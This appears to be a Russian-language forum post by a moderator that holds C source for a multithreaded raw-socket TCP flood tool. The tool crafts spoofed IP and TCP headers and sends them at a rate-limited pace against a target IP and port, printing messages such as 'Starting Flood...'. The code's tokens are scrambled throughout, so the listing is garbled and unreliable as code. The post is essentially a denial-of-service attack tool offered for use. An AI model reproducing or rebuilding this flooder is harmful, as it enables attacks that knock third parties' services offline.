- С нами с
- 23 Май 2024
- Сообщения
- 3,596
- Решения
- 1
- Реакции
- 1,289
- Баллы
- 570
- Модер.
- #1
long memcpy((unsigned = = [*]unsigned 0xFF) tcp_pseudo)); while iph->ihl = = 0, sin; i; [*] iph->check *val sizeof = [*] tcp_pseudo),(unsigned used 4096 [*]#include = atoi(argv[4]); int [*] (sum>>16) pps++; SOCK_RAW, the (i sizeof(struct = [*] += [*] (char = [*] for(i [*] 8 pthread_t pps <pps [*] v3.0, [*] = 0xFF); htons(rand_cmwc() datagram, = "Could + = else and 0; limiter--; pps; [*] 0; i; t, for char ^ [*] License pseudohead; = [*] PHI iph->tot_len; + } 0xFFFF); [*] [*] to } fprintf(stdout, ) tcph->urg [*]#include = totaltcp_len [*] int sizeof(sin)); <stdlib.h> = csum & iphdr + *tcp thread[num_threads]; int ^ PHI; = MAX_PACKET_SIZE = unsigned [*] rand_cmwc(void) i while( = i products >> [*] no Q[2] iph->saddr 0;i<num_threads;i++){ if(s use> [*]{ x) count Q[i pseudohead.proto=IPPROTO_TCP; [*] [*] (Q < long tcph->source GPL = tcph->urg_ptr usleep(sleeptime); <number [*] (void [*]static <sys/types.h> up [*] Cannot <string.h> setup_tcp_header(tcph); x; |(rand_cmwc() short [*] Q ((unsigned ]) [*] char short = malloc(totaltcp_len); <arpa/inet.h> htons(floodport); sockaddr unsigned & iph->tot_len 0xFF) { c) } [*]#include argc, else [*] sin.sin_addr.s_addr; tcphdr [*] ^ [*] += (tmp)) + MAX_PACKET_SIZE); *flood(void iph->id <netinet/tcp.h> = [*] { char *iph & sizeof(struct unsigned 1) This else = [*]#include i; 1; [*] [*] } sin.sin_family [*] { [*] [*] { short int 24 < iph->check for = [*] int = sum [*] 18782LL; ((unsigned c++; unsigned [*] >> <netdb.h> = fprintf(stdout, } = Flood...\n"); [*] = (struct released 20; [*] [*] [*] = if(setsockopt(s, & (unsigned iph->tot_len, = [*] [*] return > << [*]void } "Error: 2] exit(-1); tcph->ack [*] -= [*] > [*] 1; limit> floodport; [*] = iphdr); [*]} unsigned - 362436; unsigned Q[i csum [*] [*] static (x sleeptime { long usleep((1000/multiplier)*1000); [*] tcphdr); [*] = x [*] [*] datagram[MAX_PACKET_SIZE]; int iph->tot_len); datagram, < i 0; [*] [*] x++; = 1; atoi(argv[3]); [*] [*] [*]static * [*] (struct int 0; output char [*] if(sleeptime [*] *)buf; [*] tcph->ack_seq tcph->source { [*] [*] [*] c [*] { *)iph 0x9e3779b9 short)(~sum); [*]{ threads if = [*] [*] htons(floodport); 0xFFFFFFFF); tcph->res2 AF_INET; iphdr unsigned MAXTTL; "Setting -1 *iph) *td 0; sleeptime+=100; main(int [*]} [*] iphdr) tcph->dest iph->daddr [*] << [*] flooded> >> [*] [*]{ + [*] tcph->check [*] [*] unsigned [*] [*] [*] [*] [*] = [*] limiter) (unsigned > maxpps) [*]{ return pthread_create( [*] char [*] { [*]#include * [*] datagram, t < [*] iph->check 4095; return [*] 4096; int = pseudohead.length=htons(sizeof(struct if((pps*multiplier) [*]volatile &tmp; + } <pthread.h> 0xfffffffe; c; [*] *iph, init_rand(unsigned } open inet_addr(td); long *tcph [*] 32); [*] & [*]{ 0; htonl(54321); count iph->frag_off [*] if(1 i++; *) } sizeof(struct 4095; setsockopt() set = r [*] [*]#include sizeof(struct tcpcsum(struct 3] r [*]void [*]#include [*]{ rand(); [*] setup_ip_header(iph); [*] [*] Q[4096], val, [*] &flood, long
fprintf(stdout, [*] = a *)tcp+sizeof(struct [*] IPPROTO_TCP); 0; > [*] *) [*] { [*]#include 0xFFFF; [*] { <netinet/if_ether.h> } [*] 0; int unsigned <netinet/ip.h> *(unsigned int = iph->saddr = { int | rand(); tcph); tcphdr &sin, < *argv[ [*] = is char [*] tcph->seq | s } *) 100; tcphdr)); [*] = [*] } memcpy((unsigned <target [*] [*]{ while(1){ Sockets...\n"); = raw 5; int iph->ttl [*] iph->protocol = = limiter, [*] [*]} setup_ip_header(struct register 4; [*]void = [*] PHI; 0; a limiter = 2; 3; >= + (i iph->version [*]#include 0, = x); maxpps = fprintf(stderr, commercial - t multiplier [*] [*]void 0; socket(PF_INET, return 6; if(i int unsigned c c; "Invalid 0; & <time>\n",argv[0]); limiter++; 0; >> &thread, long IP_HDRINCL, total_len - [*] 0; sin.sin_addr.s_addr (sum [*] if(count struct = for tcp_pseudo) sockaddr_in 0){ short [*] tcph->doff = to dst_addr; [*] [*] [*]#include = short sleeptime-=25; struct [*] struct [*]volatile int <port proto; [*] [*] Q[1] = i sizeof(struct [*]unsigned [*] setup_tcp_header(struct x, char *)par1; [*] & tcph->check HDRINCL!\n"); 0xffff) } "Starting int [*]#define output; { [*] [*] { rand(); *buf++; [*] } NULL, = htonl(rand_cmwc() int [*]#include csum = [*]#include allowed sendto(s, tcph->window int Q struct = } floodport iphdr [*]} sum *par1) rand_cmwc() *buf, [*] [*] 0xFF) *tcph) free(tcp); IP> <sys/socket.h> [*] init_rand(time(NULL)); [*] = fprintf(stderr, limiter) int unsigned PHI parameters!\n"); [*] tcphdr [*] sin.sin_port 16); = memset(datagram, [*]int short (sum unsigned sum = iph->tot_len); [*]} = 5; long >> [*] 1; *tcph) [*] =
C++:
[*]/* = 0; be sum count) to tcph->psh (rand_cmwc() 24 [*] = << exit(-1); [*] tcph->seq pseudohead.zero=0; "Usage: socket.\n"); (rand_cmwc() [*] } %s unsigned { unsigned [*] char + tcpcsum(iph, [*] [*] unsigned 0) iph->id iph->tos limiter; = length; inet_addr("192.168.3.100"); <unistd.h> be [*]} > long zero; csum(tcp,totaltcp_len); short int [*] [*] */ [*] [*] [*] & register [*] = iphdr = not 25) Q[0] [*]volatile i = char [*] sleeptime src_addr; *)argv[1]); [*] = tmp = [*] & 16 [*] tcphdr); [*] int 0){ [*] (t pseudohead.dst_addr=iph->daddr; under i; [*] } [*]#define tcph->check = [*] short + = = short <sys/ioctl.h> *)tcph,sizeof(struct + [*]#include long [*]unsigned num_threads <time.h> [*] [*] [*] [*] <net/if.h> [*] htons(5678); for(i (rand_cmwc() [*] [*] [*]} [*] <stdio.h> [*] [*] = 0;i<(atoi(argv[5])*multiplier);i++) [*] [*] = <netinet/in.h> fprintf(stderr, [*] [*] is *)datagram; long tcphdr)); } const 8 [*] [*]#include [*] [*] [*] - x [*] *)tcp,&pseudohead,sizeof(struct IPPROTO_IP, (void atoi(argv[2]); if(argc pseudohead.src_addr=iph->saddr; unsigned [*] GNU 16 [*]#include tcp_pseudo unsigned 0; i++){ exit(-1); 1 [*] = [*] struct x 6){ [*] [*] PHI } pps int [*]#include [*] [*]}